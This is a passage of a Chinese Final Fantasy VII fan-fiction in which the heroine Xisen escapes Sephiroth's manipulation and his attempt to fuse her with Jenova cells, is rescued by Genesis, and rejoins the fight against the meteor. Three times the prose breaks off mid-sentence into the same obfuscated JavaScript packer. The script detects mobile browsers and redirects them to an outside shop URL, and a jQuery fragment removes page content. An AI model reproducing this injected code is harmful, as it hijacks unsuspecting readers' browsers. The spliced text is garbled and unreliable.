“……萨菲罗斯。”她摇摇欲坠地抬起头,像很久以前一样呼唤这个名字。因虚弱而不稳的气息为它染上了几分哀求的意味,“我爱你。” 那双碧绿的竖瞳怔了怔,瞳孔的纹路好似正在飞速碎裂的宝石。环抱着不让她倒下的臂弯顿住了,变得如大理石般僵硬。 她顺势借力环上对方的脖子,这是一个再明显不过的邀请,在片刻的停顿后得到了回应。最初还克制着力度,之后变成了不加节制的掠夺和侵略,还夹杂着几分报复与惩罚的意味,血液腥甜的气息浸满整个口腔,令人无法思考。 柔软的银发如同绵密的蛛网般将她包裹其中,如影随形,无法逃离,灭世的灾厄带着她坠入万劫不复的深渊。 她往后一仰,忽然笑了起来。 这一次,换做她亲手将对方推入黑暗。就算是一同坠入悬崖,也总有个先垫底的。 “骗你的呀,萨菲罗斯。”还是那种温柔的语气,如同他们相恋期间那般明媚眷恋,却与说出口的话语截然相反,“你不会真的相信吧?” 伤口流出的鲜血全部在她掌心凝聚成一把殷红的冰霜匕首,寸寸没入萨菲罗斯心脏的位置。 瞄准要害,这次她做到了。 “真可悲。”浓烈的杀意混杂着粘稠的腥甜涌出唇角,她笑吟吟地把这句话还给了他。 再深一点就能成功了。 可惜扣住她手腕的力度几乎将骨头捏碎,在伤势和剧痛的双重加持下她终究还是脱力地松手。 好可惜,好可惜。 她没能看清萨菲罗斯的神色,自然也不知道他此刻是什么反应,因为方才的反抗已经耗尽了她的最后一丝力气。浑身上下的感知都在逐渐褪去,她感觉自己坠入冰凉粘稠的深海,慢慢归于沉寂。 在失去意识的前一秒,希森竭尽全力转过头,望向耳坠掉落的方向。透过层叠羽翼的间隙,碎裂的魔晶石在天幕下折射出微弱的光芒,如同黑暗中燃起的星星之火。 她好像再次看见了那道会不顾一切奔向自己的赤红身影。 “……杰内西斯。”她轻声呼唤。 56.第 56 章 黄昏的天幕宛如一幅绚烂的画卷,沾染绮丽色彩的云团在空中晕开,恍惚间似有一道流光划过。双手合十的褐发少女像是感知到了什么一般睁开双眼,抬头望向遥远的天际。 “那个地方是另一条世界线,”爱丽丝转过身,“一条……并不完整的世界线。” “啧,麻烦的家伙,走吧。”红发青年的语调平滑悦耳,他不紧不慢地诵读完最后一句诗,“——即便是没有约定的明天,我也一定会回到你所在之地,化为星之希望的水滴,来到天涯海角,万里无云的水面。” 扎克斯停下深蹲,湛蓝的眼眸瞬间被点亮了:“她还好吗?受伤了吗?她一定等了很久,我们得赶紧去救她!” “……救她?”杰内西斯扬起眉毛,脸上浮现出古怪的神色,“你觉得她需要等别人去救?” 黑发的小狗张了张嘴想要反驳,却发现自己找不到合适的理由,只能挠了挠头:“哎呀,那就——去接她回家?” “嗯,”爱丽丝莞尔一笑,“我们去接她回家。” …… 她原本以为时空裂缝里的星空是永远不会变的,直到今天那些璀璨的光点缀着流光的尾迹划破天幕。 希森坐在一块浮空的碎石上,百般无聊地清点着那些偏离轨迹的星辰,左腕上银白色的魔晶石手环随着她的动作叮当作响。 这座岛屿很大,中央是一座精致的双层小屋,客厅与卧室随她心意布置得温馨舒适,一楼尽头的书房里有着取之不尽的藏书。房屋四周种满了不知名的珍奇植物和永远盛放的金色百合,一靠近就会惊起无数星点般的萤火虫。在混乱无序的时空裂缝中,这里就像是一片专门为她编织的美梦。 她可以在这里做任何事,就算是练习能力时不小心烧掉整座房子,或是因为太无聊把所有植物挖出来研究,萨菲罗斯回来后也只会挑眉看她一眼,然后用回溯魔法把一切恢复如初。但即便是再有趣的东西,如果没有可以分享的人,也会逐渐变得枯燥,她只能一边数星星一边等对方回来。 毕竟她只剩下萨菲罗斯了。 希森的星球因陨石撞击而毁灭,银发单翼的神明从末日中救下她,安置在这个世界的时空裂缝中。萨菲罗斯告诉她关于星球和世界线的知识,教会她如何使用自己觉醒的共鸣能力,她腕间储存魔力的手环和常用的太刀就是由对方打造的。 萨菲罗斯说他们是同类,拥有主宰星球和改变命运的力量与意志。脆弱的星球和人类终有一天会彻底消亡,而他们会在无垠的宇宙中航行,直至永恒。 她不太理解这些话,但考虑到萨菲罗斯是她的救命恩人兼再生父母,哪怕对方说地球是方的,她也会表示赞同。如果永恒意味着他们能够永远在一起,那听起来倒也不错。 时空裂缝里的时间流速和现实世界并不一致,所以平日里萨菲罗斯大概半天就能回来,最长的时候也不过两三天,可这次她等了很久,那道熟悉的身影却依旧没有出现。希森有些失落,不过这点短暂的情绪很快又被好奇取代。 她并没有见过这个星球的世界,只是从萨菲罗斯口中简单了解到一些基本常识。杰诺瓦之子认为这个注定毁灭的世界不值一提,可她却很想去看看这片同时存在魔法和科技的大陆——趁现在偷偷溜出去一次应该没关系,只要不被发现就好了。 岛屿本质上是一座浮空的巨石,没有任何通往外界的道路。她绕了一圈后停在最远的边缘,毫不犹豫地跳了下去。 浩瀚的星河飞速流淌,她并未能如愿来到现实世界。在下坠的那一瞬间,凭空出现的漆黑的羽毛悄然飘落,一双有力的手臂紧紧环上她的腰间,如皎月般的银丝顺着肩头滑落。 “你在做什么?” 萨菲罗斯的语气很平静,甚至还带有些许平滑的笑意。但她还是从将自己层层包裹的巨大单翼中感受到了些许不悦,柔软的羽毛几乎将她淹没在对方的怀里。 “你一直没有回来,”希森无辜地眨了眨眼,“我很担心,所以想去找你。” “是么?”他对此不置可否,显然是没信。 冰凉的吐息拂过温热的耳畔,激起一阵令人无力的酥麻。萨菲罗斯在眨眼间便将她带回地面,却并没有松开手上的力度。 银白的长发卷起淡淡的玫瑰花香,似乎还夹杂着几丝若隐若现的腥甜气息。萨菲罗斯向来不会有什么情绪波动,光从表情也无法看出真实想法,希森猜测他在现实世界的行动不太顺利。 “萨菲罗斯,下次带我一起去吧。”她偷偷抓住一缕柔顺的皎白,绕在指尖打卷,“我可以帮上忙。” 萨菲罗斯微微低头,猫一般深邃美丽的碧绿竖瞳似笑非笑:“你这么想出去?” 她当然知道这点心思瞒不过对方,于是笑吟吟地纠正:“我想和你一起出去。” 漆黑的单翼微微伸展,银发的男人没有回答,脸上的神色也并未发生改变。萨菲罗斯在大部分情况下都很好说话,无论是把银白的发丝编成辫子还是从翅膀上揪下最漂亮的那根羽毛,他都只是笑着纵容。但希森清楚他决定的事就绝对不会改变,所以做好了被拒绝的准备,然而半晌过后萨菲罗斯侧了侧头。 “可以。” 直到萨菲罗斯松开手,她才终于反应过来:“真的吗?萨菲罗斯最好了!” “啊。”萨菲罗斯弯起唇角,漫不经心地应了一声,随后朝她伸出手,掌心凝出一颗流转着莹莹绿光的魔晶石。 他偶尔会带一些礼物回来,多数是她感兴趣的珍奇物件,各种属性的高阶魔晶石早就堆满了整个收藏室。眼前这颗治疗系魔石并没有什么特别之处,只是其中蕴含的魔力因被长期使用而变得十分纯粹,大概是萨菲罗斯顺手带回来的战利品。 “它被原来的主人保养得很好呢。”她的心底不知为何涌忽然起一阵担忧,很快又把这几分莫名其妙的情绪压了下去。 碧绿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13855918|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的竖瞳微微眯起,萨菲罗斯的语气染上了几分意味深长:“你就是它原来的主人。” 杰诺瓦秉承力量至上的观念,对他来说靠力量得到的一切从此只属于自己。他没有解释,她也没有多想:“那么,我就收下了。我一定会好好保存的。” 萨菲罗斯微不可察地顿了顿,鸦羽般纤长而浓密的睫毛遮去眼底的神色。每当他垂下眼帘时,身上非人的压迫感便会淡去一些,像是致命的捕食者暂时收敛起锋利而危险的气息。 有那么一瞬间,他看起来很像人类,却也仅仅是像。 思念体不需要进食,也不需要睡眠,但萨菲罗斯会用巨大而柔软的单翼裹着她入眠,凭借体型差距轻而易举地将她牢牢困在怀里,柔软的发丝如同理不断的网交错缠绕。她每天醒来最常看见的便是那双美丽而深邃的碧绿竖瞳,有时候她怀疑对方是不是根本没有合过眼,就这么整晚抱着她。 萨菲罗斯不是人类,自然也就不具备人类的需求和习性,除了战斗以外,他唯一保留下来的习惯便是阅读,因此他们最常做的事情便是靠在沙发上看书。 她躺在萨菲罗斯的大腿上,用指尖勾起他腰间那枚羽翼造型的魔晶石吊坠。晶体的表面有些粗糙和瑕疵,看起来是手工雕刻的,她通过共鸣能力感知到这枚吊坠已经不再具备任何魔力,只是通过记忆还原出来的装饰品,很快就对它失去了兴趣。 “萨菲罗斯,我在书上看到杰诺瓦会在到达的星球上选中命定之人,是真的吗?” 萨菲罗斯翻过一页,语气慵懒:“你不就是么。” “那你呢?”她看向对方。 “我就是杰诺瓦,”他弯起唇角,低沉柔和的语气宛如塞壬的歌声,“你的命运。” 希森并不相信命运,更不认为自己的命运属于其他人,她和萨菲罗斯在一起是出于自己的意愿,而不是杰诺瓦的选择。不过和萨菲罗斯争论的结局要么是她说不赢对方,要么是她说不了话,所以她压下心底的失落,不动声色地转移了话题:“你在看什么书?” “《玻璃城堡》。”他漫不经心地侧了侧头,“你想听?” 从封面的简介来看是一部哲学类的作品,她不感兴趣,但喜欢让萨菲罗斯念给她听。刚从末日被救回岛屿的那段时间里她经常做噩梦,只有听着对方的声音才能睡着,后来便养成了这个习惯。 “……玻璃打造的城堡既能够看见外面的风景,又能够隔绝外界的危险,居住在其中的人往往不会意识到这层透明的壁垒,又或者在潜意识中依赖这把美好现状的保护伞。” 杰诺瓦是完美的造物,如同大提琴奏鸣曲般的音线低沉悦耳,隐约带着几分如平滑优雅的笑意。困意缓缓攀上心头,逐渐淹没她的意识。 她做了一个很长很长的梦,银鳞的巨蛇将她紧紧绞住,如同命运的莫比乌斯之环。有道声音一直在她耳边低低地说: “我们再也——不会分离。” 57.第 57 章 萨菲罗斯回来的时候,希森正好把一簇会发光的星辰花连根拔起,露出土里干瘪的尸体,依稀能够辨认出是个身穿白大褂的瘦小男人,破碎的眼镜还留在发青的脸上。她若无其事地把花簇又埋了回去,同样的情况她已经遇到过很多次,萨菲罗斯似乎很讨厌这个人,来自不同世界线的尸体成为了岛屿上这些珍稀植物的养料。 “我们要去哪里,”她高兴地跑到对方身旁,轻轻揪了一下银白的发尾,“是你上次告诉我的北方大空洞吗?” “嗯。”萨菲罗斯弯起唇角,“那里是「母亲」降临之地,也是我们走向永恒的入口。” 银白的刀刃划破无垠的星幕,他们通过时空裂缝来到一个巨大而昏暗的山洞。她曾经根据萨菲罗斯的外貌想象过杰诺瓦本体的模样,还以为会是绿色眼睛银色长毛的外星巨型缅因猫,直至此刻才发现更接近某些科幻恐怖片或者邪神祭祀现场。由无数不知名组织融合而成的肉块自洞穴深处蔓延开来,大大小小扭曲且怪异的触手攀附在四周的石壁上,好似一张由血肉塑造的巨网,存在的每一秒都在引发人类本能的不安。 在她出现的那一瞬间,长满肿瘤的触手便像是嗅到猎物的捕食者一样窸窸窣窣地朝这个方向靠近,希森下意识地后退了一步,恰好撞上冰冷坚硬的银白肩甲。萨菲罗斯动作轻柔地扶住她的肩膀,几乎将她环抱在怀里,却也截断了所有退路。 “不必害怕,它只是「我」的一部分。”冰凉的吐息扫过耳畔,他像是在诱哄哭泣的孩童,“要试着碰一下它么?” 人类会对超出自己认知的事物感到恐惧,然而在得知眼前拥有怪物外形的生物是萨菲罗斯后,好奇最终战胜了本能。她试探性地伸出手,蛇一样的触手像是得到首肯般飞快地攀上了手腕,柔软而又黏腻的触感激起一阵来自本能的战栗。 “放松一些,”身后传来塞壬海妖的歌声,一点一点蚕食着理智,“只是「我」而已。” 腕间的触手沿着小臂一路向上,更多的肢体如同蛇群游至脚边,似乎想要组成一个怪异的茧将她彻底吞没。这些绞成一团的肉块微微颤抖着,好像某种表达愉快甚至是兴奋的诡异仪式,她还感受到了更多的情绪,透过柔软的肌肤传递至灵魂深处——比如强烈的饥饿,炽烈的渴望和永远不会满足的—— 好像有什么不对劲。 “……等等,萨菲罗斯。”仅存的理智挣扎着浮出水面,她艰难地抓住扭动的触手,“它……你在做什么?” 身后的人顿了顿,杰诺瓦本体也停止了动作,像是暂时蛰伏在阴影中伺机而动的蛇。柔软的唇瓣擦过耳垂,萨菲罗斯低低地笑了一声:“你不是说想去看外面的世界么?” “你现在的身体太过脆弱,无法承受打开时空裂缝的力量,频繁穿越会给你造成很大负担。”银白的发丝如皎洁的月色倾泻在肩头,他温柔地劝导,“杰诺瓦细胞拥有将其他物种转化为同类的能力,我们将成为一体,共享支配命运和星球的力量。” “可是……”她感觉自己的思维变得很轻,不受控制地飘散开来,“为什么?” “别担心,很快就会结束,像是睡了一觉。”萨菲罗斯在她的发梢落下轻轻的一吻,“等你醒来后,死亡和伤痛都将不复存在,从此再也没有任何事物能将我们分离。这不也是你想要的么?” “我……”她发现自己找不到反驳的理由,滑腻的触手像是寻到破绽的猎人一样重新缠绕上来。 “不要抗拒我,”萨菲罗斯托住她的手,慢慢引导她投入杰诺瓦的怀抱,“试着接受我。” 身体的每一个细胞都在迎合,可意识深处却有一道微弱的声音在不断呼唤着她,艰难地在涌入大脑的陌生意识中挣扎。 “在这之后,”她听见自己的声音在颤抖,“我还会记得我的星球和过去吗?” “这些都会成为过去时。”萨菲罗斯漫不经心地侧了侧头,“你不会再为此感到介怀和困扰,杰诺瓦是比星球和人类更高的存在,你将拥有新的意志和使命。” 混沌的意识忽然出现了一丝裂痕,她终于意识到有什么不对劲了。 “那我现在的意志呢?”她问,“对你来说一点也不重要吗?” 萨菲罗斯没有回答,她意识到自己大概无法听到想要的答案了。她说不清自己此刻是悲伤更多,还是失望更多。 “我不想要成为更高的存在,也不想要新的意志和使命。”她第一次如此明确且强硬地拒绝他,“如果要以这种方式才能和你在一起,那我的答案是不。” 滑腻的触手收紧了力度,从脚踝攀上大腿,脑海中那股压倒性的意识也愈发浓烈。她硬着头皮咬破了舌尖,疼痛和血腥味瞬间唤回了部分意识,在夺回身体控制权的那一瞬间,寒冰在掌心凝成锋利的长剑,利落地斩下身前的大片触手,随后毫不犹豫地反手刺向身后。 萨菲罗斯并没有躲开,或许是不屑于躲开,毕竟这种程度的伤害对思念体来说不值一提,不过已经足够她和对方拉开距离。 “没用的。”似乎猜到了她在想什么,萨菲罗斯弯起唇角,“这里没有出口。” 脱离杰诺瓦的控制后,脑海里的混沌逐渐散去,取而代之的是针刺般的疼痛。她强忍着毒素发作引起的昏沉,看向洞穴深处那团巨大的肉块。 “那并不是我的肉/体。即便你炸毁它,杰诺瓦细胞也能够再聚合。” 她愣了一下:“你怎么知道——” “你的想法其实很好猜。”萨菲罗斯笑了起来,不是平日里那种纵容或是漫不经心的笑,而是居高临下的,凉薄而讽刺的笑。银鳞的蛇撕破了类人的伪装,彻底暴露出带毒的獠牙,“毕竟每次的选择都一样。” “……每次?”名为恐惧的手攥住了她的心脏,“我现在的记忆到底有多少是真的?” “想知道?”逐步逼近猎物的巨蛇懒洋洋地吐着信子,“只要融合杰诺瓦细胞,我们就能共享记忆。” 满地都是被她砍下来的杰诺瓦残肢,可萨菲罗斯非但没有生气,看起来反而非常享受。就好像眼前的一幕才是他真正想看到的景象,而不是在那座温室一样的岛屿上玩扮演人类的过家家游戏。 被冷汗浸湿的后背贴上坚硬的石壁,她眼前开始浮现出无数不断扩大的黑点。失去意识的前一秒,她落入了一个冰冷的怀抱。 …… 她已经不记得过去了多久。 等她醒来的时候,萨菲罗斯已经离开了。这个身体对杰诺瓦细胞似乎具有很强的抗性,她一次又一次把那股入侵的意识赶出自己的大脑,在昏睡和清醒中无限循环。 她尝试过斩断蛇群般的触手,炸碎成山的肉块,但杰诺瓦细胞很快便能通过再聚合的特性复活,不知疲惫,无休无止。萨菲罗斯并没有夺走她的反抗能力,而是等待她在无尽的失败中陷入崩溃,最终被杰诺瓦的意志吞没。 偶尔他会回到空洞,一边仔细地替她疗伤,一边单方面和她聊天。萨菲罗斯最近心情很好,抱着她说陨石即将落下,一切很快就会结束。 “你只需要有我就足够了,”他弯起唇角,“我对你来说才是最重要的。” 她没办法说话,所以只能用另一种方式回答。可惜她的手在碰到那张完美无瑕的脸之前就被牢牢扣住,萨菲罗斯低声笑了起来,侧过头顺势贴上她的手,冰凉的唇瓣在掌心落下眷恋而又轻柔的一吻。 ——疯子。 好在他每次停留的时间都不会很长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13901594|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,外面的世界里似乎有人在阻止他,造成了不少麻烦。再次醒来的时候,她炸开了洞穴深处那团巨大的肉瘤。 萨菲罗斯没有说谎,里面存放的并不是他的躯体,而是一个被封存的培养舱。淡蓝色的溶液中漂浮着一具由杰诺瓦细胞培育而成的女性身体,与她的身形非常接近,但这幅躯壳只完成了半个轮廓便出于某种原因被放弃了。 系统上显示的关停时间是0005年,现实世界的一年之前。 她不知道这是什么,但既然是萨菲罗斯费尽心思藏起来的东西,她便毫不犹豫地一起毁掉了。 和杰诺瓦的战斗耗费了巨大的精力,她精疲力尽地靠在墙角,在满地粘稠的碎块恢复之前思考还有什么办法能够逃离这里。 “这样做是无法打败「我」的。” 或许是太累了,或许是杰诺瓦的毒素发作,她好像出现了幻觉。拥有银色短发和碧绿竖瞳的少年如同幽灵般出现在黑暗中,精致的五官陌生却又熟悉。 “你的恢复速度比杰诺瓦要慢,这样下去只会耗尽你的力量。” “萨菲罗斯?”她觉得自己大概是疯掉了,居然和一个莫名其妙的幻觉说话,“不对,年龄太小了……气质也不一样。” 少年看向她的目光温和而又担忧,但萨菲罗斯从来不会表露出自己的情绪,或者说他根本不具备人类的正常情感。 “关键不在于杰诺瓦,你被自己里的能力禁锢了。” “我知道那枚手环可能有问题。”她看向腕间那一抹剔透的银白,摇了摇头,“但是没有魔石的力量,我就没办法对抗他。” “而这正是「我」想要看到的。”少年轻声说。 她想起了书里提到的玻璃城堡,被困在其中的人永远意识不到自己身处牢笼。既然她已经疯了,或许按照少年的话试一试也无妨,总好过在这里一无所知地战斗下去。 魔石光滑的表面上浮现出蛛网般的裂痕,那层美丽却又无形的壁垒开始倒塌。玻璃做的城堡,自然也和玻璃一样脆弱不堪。 很久以前,有人曾经教过她在面对比自己强大数倍的敌人时不能盲目应战,要保留一张底牌。而她现在终于想起了自己的底牌——生命之流赋予了她新的力量,无需再以魔晶石作为媒介,她可以自由使用魔力,色彩张扬的手环和耳坠都是为了最大限度转移对方的注意力。 希森抬起头,少年萨菲罗斯已经消失不见,但他原本所在的位置留下了一颗碧绿的治疗系魔石。正是她曾经送给蒂法,又被萨菲罗斯抢回来的那一颗。 身后传来石壁坍塌的巨响,巴哈姆特展开巨大的双翼,在雨点般的碎石与尘土间穿行。一道如火焰般张扬的身影优雅地自龙背跃下,一刀斩断拦在身前的魔兽。 “萨菲罗斯就让你住这种地方?”杰内西斯扬起眉毛,“你不会每天都睡在这堆东西上面吧?” 回答他的是飞奔而来的一个拥抱。红发的青年很高,所以她不得不拽了一下对方的衣领,示意他弯腰配合一下自己。 “……这是新的外套。” “哦。”她把沾满碎肉和血污的手往一看就价格不菲的红色长外套上抹了一把,抬起头十分无辜地看着对方,“我的手环被萨菲罗斯拿走了,没有它我很不习惯欸。” 杰内西斯咬牙切齿:“……再给你找一个不就行了。” “耳坠也被他打碎了。” “那就再做一个。” “我要和原来那个一样的。” 得到了想要的答案,希森心满意足地松开手。然而下一秒她感到身子一轻,从诧异中反应过来时已经被人拦腰抱起。 “行了,上来。”杰内西斯抱着她跳上巴哈姆特,“我们回家。” 58.第 58 章 距离陨石落下还有一百二十小时,现在是末日来临的前五天。 萨菲罗斯的本体已经恢复,一切优势都在朝他倾倒。他们要面对的是已经吞噬了无数世界线、近乎全知全能的神明。 可并非只有一个人的命运发生了偏移,那些本该死去的人此刻都还活生生站在这里,当爱丽丝打开时空裂缝时,扎克斯和安吉尔第一时间朝他们的方向跑来。而被这颗星球选中的金发守护者不负众望地打败心魔,再次带领着伙伴们前进,她在克劳德的小队里看到了许多新面孔——打扮得像是血族的塔克斯前辈,忍者装扮的短发少女,性格暴躁的飞行员,甚至还有一只像狼又像狗的红色不明生物。 坠落的小行星已经冲破天幕,将整个世界染成炼狱般的暗红,然而除了长期奔波和战斗带来的疲惫以外,所有人的状态看起来都还不错。蓝眼睛的黑色小狗眨眼间便扑到了她面前,却又在下一秒被杰内西斯毫不客气地挡开:“你是嫌她伤得不够重吗?” “你受伤了?”扎克斯愣了一下,“萨菲罗斯居然对你动手?” 不等她回答,小狗大怒:“被拒绝就动手,这个混账家伙!” 一瞬间其他人的目光全都集中在了她身上。尤菲看了看她,又看了看杰内西斯,震惊地睁大了双眼,一副发现了什么却又不敢表现出来的模样。 温热的吐息拂过耳畔,她和杰内西斯靠得很近,自然能够清晰感受到对方微颤的胸膛和起伏的呼吸。红发的青年少见地没有开口嘲讽,反倒像是发现了什么有趣的事情般低声笑了起来。 “……我拒绝帮他毁灭星球,但是没打赢,被他扔进了北方大空洞里。”她没好气地拍了杰内西斯一下,不动声色地转移了话题,“你们呢?” 压力马上给到了克劳德这边。少年冷静地伸手摸了摸后脑翘起的短发,语气板正得像是在背台词:“他把我打得落花流水,然后抢走了黑魔石。” 两人对视一瞬,心照不宣地没有追问下去。 “那么,”她弯起唇角,“我们现在去拯救世界?” ——像无数冒险故事里一样,来自世界各地的伙伴相聚在一起,与灭世的魔王展开最后的决战。 “听说你属于塔克斯,”文森特抬起头,说出了见面以来的第一句话,“……总部的业务范围已经发展到这种程度了吗?” 希森不得不澄清:“我已经离开神罗了,前辈。” “抱歉,是我误会了。”文森特顿了顿,“能够活着离职的塔克斯成员很少见。” “确实是这样。”她实话实说,“我是因公殉职的。” 黑发赤瞳的男人迟疑片刻,最终还是回过头,不确定地问:“……她在开玩笑?是吗?” 大家都忍不住笑了起来。 “萨菲罗斯的意识还需要一段时间才能和本体完全融合,我和希森必须赶在他之前到达遗忘之都,阻止陨石落下。”爱丽丝翠绿的眼眸明亮又温柔,“剩下的事情——” “——交给我们吧。”克劳德点了点头,“无论是思念体还是本体,这一次都会彻底解决。” 远处传来狂风的哀鸣,黑菲拉如同一团晕开的浓墨从天际的裂缝涌入,它们原本是阻止命运发生改变的守望者,如今却成为了萨菲罗斯的傀儡。 “来了。”爱丽丝举起法杖,绚烂的光芒击退盘旋的黑影。褐发少女回过头,灿烂的笑容如同明媚春光,“一起实现愿望吧!” 巴哈姆特展开双翼,在黑菲拉组成的幕墙中强行撕开一道裂口,掩护其他人冲出包围圈。巨大的召唤兽侧身朝着被困在黑雾中的身影俯冲,黑发红眸的少女纵身一跃抓住她的手,随着巨龙滑翔一段距离后落在克劳德身旁,旋身挡开借机偷袭的菲拉。 “谢谢前辈,”蒂法抬起头,温柔地向他们道别,“快去吧,不用担心我们。” 身旁的景象飞速流逝,他们跟随着爱丽丝的指引回到现实世界,杰内西斯专注地控制巨龙避开障碍,张扬的红发如火焰般在空中飞扬。希森正犹豫着该如何开口,对方却像察觉到了她的心思一样侧过头:“怎么,如果不想当英雄了,现在后悔还来得及。” “我说是的话,你会带我走吗?” “无聊的问题。” “你知道我不会临阵脱逃。”她笑着扯了一下对方的外套,“杰内西斯,如果——我是说如果,我去阻止陨石之后没有回来,你不要因为我伤心。” 杰内西斯没有回答。 “你知道我本来就不是这个世界的人,生命之流不会吸纳外来的灵魂,所以我不会死,只是去了其他世界。”希森看不见他的表情,也摸不准他的想法,只好继续往下说,“不过其他人大概不能接受,所以万一我真的回不来,只能拜托你帮忙转告他们了。” “……哪个世界?”他终于开口了。 风声很大,希森一时间没有听清:“什么?” “告诉我你在哪个世界,我去找你。”杰内西斯漫不经心地回答,“别像现在这样被人骗了七八年才反应过来。” 她愣了一下,甚至没有意识到自己脸上浮起的笑容:“这也是君临女神的意志吗?” 红发的青年回过头,雾青色的眼眸如同水底的孔雀石,平日里慵懒倨傲的笑意消散不见,只剩下近乎专注的平静。她还是第一次在杰内西斯脸上见到这种神色,原本精致秀美的五官展露出潜藏在深处的锐利锋芒。 “啧。你的星球品味还挺特别,选了这么个不带脑子又没长眼睛的救世主。”他说,“这是我的意志,一直都是。” 不等希森回答,杰内西斯抬手压下她的头,将她护在怀里的同时控制巴哈姆特在空中翻滚躲开迎面飞来的巨石。突如其来的变故打断了她的思绪,大地崩裂,天幕坍塌,数道紫色的光芒从裂缝中升起,最终汇聚成天空尽头的银发身影。 单翼的灾厄手提长刀,如同移动的人行天灾,轻易便将眼前的阻碍夷为平地。俊美的死神抬起头,唇角弯起冰冷而愉悦的弧度。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972066|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……萨菲罗斯!” 克劳德一跃而起,破坏剑和正宗相碰溅起点点星火。萨菲罗斯转动手腕,漫不经心地挥刀将少年甩到一旁,碧绿的竖瞳里流淌着恶意的笑。 “依旧是不堪一击啊,克劳德。”低沉的音线如丝绸般平滑,甚至会让人产生温柔的错觉,“你的愤怒是认真的吗?” 更多熟悉的身影义无反顾地冲上前,但她没有忘记爱丽丝的话,现在并不是恋战的时机。 希森一把捞起差点报废的猫型机器人,命令巴哈姆特往爱丽丝的方向调头。古代种少女已经召唤出淡金色的的时空门,就在他们穿过黑菲拉的阻挡即将到达的一瞬间,银白的光弧将整个世界一分为二,也导致所有人在混沌的虚空中失散,扎克斯接住坠落的褐发少女,两人一起跌入通往现实的裂缝。 人类的本能骤然拉响警报,那种被大型野兽锁定的感觉再次出现。她回过头,刚好对上那双美丽而冰冷的碧绿竖瞳。银发的灾厄朝她微微一笑,唇角的弧度如同绽放的罂粟,艳丽而淬满毒汁。 “跑得还挺快。”萨菲罗斯振掉刀刃上的血渍,低沉平滑的语调中带着漫不经心的笑意,“那就让这场游戏变得更有趣些吧。” 巴哈姆特侧身避开又一道剑风,愤怒的巨龙发出阵阵哀嚎。杰内西斯轻笑一声:“你前男友求复合的方式可真是别具一格。” 她紧紧抱住巨龙的脖子,勉强保持平衡:“别忘了你们以前可是好兄弟,说不定他是来找你复合的。” “你俩都少说几句吧!”凯特西大喊,“那家伙又要动手了!” “难得我不说话他就不动手了吗?”希森头也没回,“往左边下降,我们用巴哈姆特做掩护直接跳下去。” 巨龙抖了抖翅膀,发出抗议的声音,可惜没有人在意。 “仅凭召唤兽挡不住萨菲罗斯的攻击,”杰内西斯的语气平淡得像是讨论今天的晚餐,“我留下来拦住他。” “不行,我绝对不会——” 拒绝的话还未说完,巨龙的身形猛然一顿,脸侧随即传来温热黏腻的触感,而后浓郁的铁锈味争先恐后地涌入鼻腔,刺激着每一寸神经。她条件反射地回过头,下一秒却陷在一片柔软的漆黑当中。 “……别看,”杰内西斯抬手覆上她的双眼,遮去所有视线。然而即便再冷静的语气也无法掩盖气息中的急促,片刻后他才再次开口,“不过是点皮外伤,死不了。” 召唤兽哀鸣着四分五裂,她被推进了耀眼的白色光芒中,离那些熟悉的身影越来越远。狂风在耳边呼啸,吞没掉所有已说出口或未说出口的话语。 “往前走,别回头。” …… 现实世界的草地厚实柔软,再加上风系魔法已经缓冲掉重力带来的惯性,理论上来说她并不会感觉到疼痛才对。 四周一片寂静,爱丽丝和扎克斯并不在这里,大概掉到了其他地方。希森低下头,分不清自己脸上滑落的究竟是鲜血还是泪水。 59.第 59 章 她感觉正前往遗忘之都的只是一具行尸走肉,剩下空洞的躯壳重复机械又麻木的移动,唯有掌心传回的温热触感刺激着摇摇欲坠的灵魂。 杰内西斯在送她离开时把一颗魔晶石放进了她手中——和之前那枚耳坠的材质一样,只不过这次被打磨成款式简约的菱形吊坠。晶体中附有火属性魔法,因此总是散发着轻微的热度,仿佛人体长期接触后留下的余温。 据说某部分特殊魔晶石的力量来源于制造者的愿望,义族渴求安息的愿望创造出能够召唤陨石的黑魔石,赛特拉代表守护和新生的愿望诞生出蕴含神圣魔法的白魔石。 ——那么送她魔石的人又许下了什么愿望? 巴哈姆特展开双翼,高空中冰凉的狂风和细雨洗去纷乱的思绪。遗忘之都近在咫尺,然而如星河般绚丽的命运幕墙将整个世界一分为二,人类的身躯在它面前无比渺小而脆弱。 她的攻击就像没入深海的水滴,甚至无法泛起半分涟漪,坚不可摧的幕墙不但阻隔了她的前路,也阻隔了最后一丝希望。来自另一个世界的生命或许可以改变这条江河两旁细小分支的走向,但无法撼动一整条河流,它最终还是会奔腾着汇入大海,走向既定的结局。 